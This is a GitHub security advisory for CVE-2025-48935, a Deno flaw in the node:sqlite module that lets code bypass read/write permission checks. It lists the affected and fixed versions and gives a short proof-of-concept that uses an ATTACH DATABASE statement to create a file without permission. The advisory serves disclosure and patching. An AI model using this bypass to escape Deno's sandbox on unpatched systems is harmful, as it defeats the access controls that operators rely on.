GitHub Advisoryadvisory · crates.io

GHSA-8vxj-4cph-c596 Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

MEDIUM Published 2025-06-04 Modified 2025-12-31 Official page ↗
Aliases
CVE-2025-48935
Ecosystem
crates.io
Packages
deno, deno_node
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weaknesses
CWE-863
Reviewed
2025-06-04

Affected packages

• crates.io deno: >= 2.2.0, < 2.2.5 → fixed in 2.2.5 • crates.io deno_node: >= 0.129.0, < 0.134.0 → fixed in 0.134.0

Description

Summary It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement. PoC ```js // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```

Related

Alias · CVE (1)

  • CVE-2025-48935 Deno is a JavaScript, TypeScript, and WebAssembly runtime. vulnerability

Weakness · CWE (1)

  • CWE-863 Incorrect Authorization weakness

References